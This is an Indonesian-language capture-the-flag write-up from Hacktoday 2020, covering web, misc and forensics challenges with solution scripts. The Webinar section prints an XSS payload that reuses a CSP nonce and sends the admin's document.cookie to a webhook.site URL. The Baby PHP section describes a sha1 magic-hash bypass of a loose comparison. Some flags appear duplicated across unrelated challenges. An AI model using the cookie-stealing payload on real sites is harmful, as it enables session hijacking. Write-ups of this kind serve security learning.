Anda di halaman 1dari 13

Write Up Hacktoday 2020

Poo-C Sleyer

Kevin Wibamanto
Evan Ariel Utama
Stewart Sulivinio

Binus University
Web
Baby PHP

Cara Pengerjaan

Kita lihat filter-filter yang harus kita lewati.

Kita tidak boleh input angka yang sama, tidak boleh ad karatker non-digit setelah karakter
kedua, dan “value” harus sama dengan sha1('10932435112') yaitu 0e07766915004...
yang akan ber value 0 karena menggunakan loose comparison, maka kita mencari sha1 hash
collision, kami menggunakan “0e00000000000000000000081614617300000000” yang ketiika
di hash akan menjadi “0e65307525940999632287492285468259219070”, sekarang kita
mendapatkan flag yang di base64.
Namun kita lihat code tersebut adalah bahasa python, dan plaintext string yang digunakan
dipotong di char pertama, maka kita mendapat error ketika kita coba decode flagnya, jadi kita
tambahkan char random saja di depan agar lengthnya pas untuk di decode.

Flag
hacktoday{selamat_datang_di_soal_web}

Webinar

Cara Pengerjaan

Kita mendapat submission form, jadi kita coba berbagai macam hal, salah satunya XSS. jadi
kita coba alert saja, kita berasumsi fitur preview dan submit menggunakan mekanisme yang
sama namun untuk mengurangi konsumsi resource saja karena akan ada “admin” yang
mengakses data yang di submit sambil memegang cookie
Tapi XSS kita tidak jalan, tapi ada hint, ada script dengan attribute nonce=”hash” yang hanya
melakukan variable assignment. Jadi kita coba XSS namun payloadnya akita tambah
nonce=”hash yang sama”, ternyata XSS kita berhasil jalan. Jadi kita sekarang coba ambil
cookie admin dengan XSS cookie stealing yang sederhana, untuk itu kita gunakan webhook.site
lalu kita tempel admin cookienya di belakang get url saja.

Kode

XSS payload

<script nonce="a047a7c00c21033095fe5ffe7e9db6dc">
window.location = 'https://webhook.site/1f6dfc05-fa80-490a-a2db-
14f57ecc48ae/'+document.cookie;
</script>

Flag
hacktoday{nonce_cookie_XSS_U_GOT_THE_BOUNTY}
Misc
Hard Rock Casino

Cara Pengerjaan

Kita coba sedikit servisnya, ternyata servis untuk judi online dan kita mendapat uang 1k untuk
langsung mulai judi. Kita hitung dulu ktia harus menang minimal berapa kali untuk mendapatkan
uang 100k.
Jika kita judikan seluruh uang kita untuk setiap bet, maka uang kita akan berlipat ganda setiap
kali menang, jadi 2 ** X >= 100, jadi kita mendapat 2 ** 7 = 128. Sekarang kita coba hitung
apakah mungkin untuk menang 7x berturut-turut.
Kemungkinan menang kita adalah 56%, jadi untuk mendapatkan 56% itu 7x berturut-turut
adalah 0.56 ** 7 = 0.017 yaitu sekitar 1.7%, jadi sangat mungkin dilakukan dengan sebuah
script. Scriptnya hanya akan melakukan hal yang sudah kita rencanakan yaitu menjudikan
seluruh uang kita terus-menerus, jika bangkrut langsung main lagi saja agar dapat 1k gratis.

Kode

judi.py

import socket
import time
import sys

host = "chall.codepwnda.id"
port = 14021
percobaan = 1

def netcat(h, p):


s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((h,p))

time.sleep(0.1)
res = s.recv(10240)
print(res)

s.send("percobaan ke "+str(percobaan))
s.send("\n")

duit = 1000
while 1:
print("[ ] bet "+str(duit))
s.send(str(duit))
s.send("\n")
time.sleep(0.3)
res = s.recv(1024)
print(res)
if "bangkrut" in res:
break
elif "hacktoday" in res:
exit()
pos = res.find("saldo kamu")
try:
duit = [int(i) for i in res.split() if i.isdigit()][0]
except:
break

while 1:
netcat(host,port)
percobaan += 1
Flag
hacktoday{when_this_house_is_rocking__dont_bother_knocking_come_on_in}

tebak tebakan

Cara Pengerjaan

Kita coba sedikit servisnya, ternyata setiap huruf depan jawabannya hanya 1, misal R maka
jawabannya pasti Rhea, jadi kita membuat script untuk mengambil huruf depan yang diminta
lalu mengembalikan jawabannya, lakukan 1111 kali lalu mendapatkan flagnya.

Kode

bales.py

import socket
import time
import sys

host = "chall.codepwnda.id"
port = 14011
answers = ['Athena', 'BryanFurran', 'Cleopatra', 'Dionisos', 'EDYRAHMAYADI',
'Fuhrer', 'Gordon', 'Hades', 'Ikarius', 'Jokasta', 'Kaerus', 'Limos', 'Moirae', 'Nemesis',
'Oizys', 'Palioxis', 'Qurea', 'Rhea', 'Skilla', 'Triteia', 'Uranus', 'Venus', 'Wu-kong',
'Xuthus', 'Yellena', 'Zagreus']

def netcat(h, p):


s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((h,p))

res = s.recv(10240)
print(res)

for i in range(1115):
s.send("1")
s.send("\n")

time.sleep(0.5)
res = s.recv(10240)
print(res)

pos = res.find("I am ")


capital = res[pos+5]
idx = ord(capital)-65

print("[ ] sending "+str(idx))


print("[ ] which is "+answers[idx])
print("[ ] succeeded "+str(i+1)+" times")
s.send(answers[idx])
s.send("\n")
s.send("\n")

time.sleep(0.5)
res = s.recv(10240)
print(res)

while 1:
input = raw_input().strip()
s.send(str(input))
s.send("\n")
time.sleep(0.5)
res = s.recv(10240)
print(res)

netcat(host,port)
Flag
hacktoday{tebak_tebak_berhadiah_flag_1kEb44t}

Sanity Check

Cara Pengerjaan

Kita lihat gdocs kosong, coba cari di version history.

Flag
hacktoday{welcome_to_hacktoday_2020_broda__s8jm}

Forensic
Harta Karun

Cara Pengerjaan
Kita coba pngcheck ternyata bukan hanya png biasa, jadi kita coba binwalk, ternyata banyak file
didalamnya jadi kita extract,

lalu kita buka archive di dalam png tersebut dan ada 4 file txt berisi hexdump
.

Lalu kita coba hex2ascii, dan ternyata di file lo.txt ada header PNG, jadi kita cari ending file png
yaitu IEND, ternyata berada di en.txt. Lalu dengan ilmu detektif kita mendapatkan bahwa nama-
nama file ini digabung menjadi lokesyen. Jadi kita gabung ke 4 file tersebut dengan cat, lalu
mengambil hex itu menjadi binary dengan xxd -r -p. lalu kita mendapat flag dalam image.

Flag
hacktoday{tebak_tebak_berhadiah_flag_1kEb44t}
Daun Singkong

Cara Pengerjaan

Kita coba membuka bash_history dan ternyata 7z yang kita mau buka dikunci dengan password
yang berupa nama file. Tapi kita tidak tahu nama filenya apa saja, jadi setelah mencoba
menggunakan wordlist berisi semua nama file di sebuah unix system, kita coba cari cara
mendapatkan isi DS_store. Ternyata ada python script di sebuah git repo bernama Python-
dsstore yang dapat mengekstrak nama file dari sebuah DS_store file. Jadi kita lakukan.

Lalu kita coba saja password yang paling panjang, siapa tahu langsung bisa, ternyata memang
bisa dan flag terekstrak.
Flag
hacktoday{tebak_tebak_berhadiah_flag_1kEb44t}

Stegosaurus

Cara Pengerjaan

Kita coba steghide dari nama soalnya, namun tidak bisa, stegsolve juga ternyata hanya untuk
gambar jadi tidak bisa. Kita hexdump lalu lihat dibawah text file soal, ada banyak byte 09 0a dan
20, yaitu tab, enter, dan space setelah menggunakan hex2ascii. Lalu kita coba google
whitespace steganography, ternyata memang ada dan ada toolnya juga, stegsnow. Jadi kita
coba download dan ekstrak informasi dari text file tersebut dan mendapatkan link gdrive.

Ternyata gambar pokemon imut, kita masukan kedalam stegsolve dan di blue plane 0 dan 1
terdapat flag.

Flag
hacktoday{ez_point_yow}
babyVol

Cara Pengerjaan

Kita coba pakai volatility dan cari dulu profilenya dengan plugin imageinfo, ternyata kandidat
profilenya ada banyak, kita pilih Win7SP1x64 saja, lalu kita mengikuti artikel medium dan
menjalankan berbagai hal seperti pslist, pstree, consoles, ternyata flagnya dimasukan di cmd
console.

Flag
hacktoday{yOUv3__folll0wed_My_c0mm4ND_f3ry_w3LL__}

Anda mungkin juga menyukai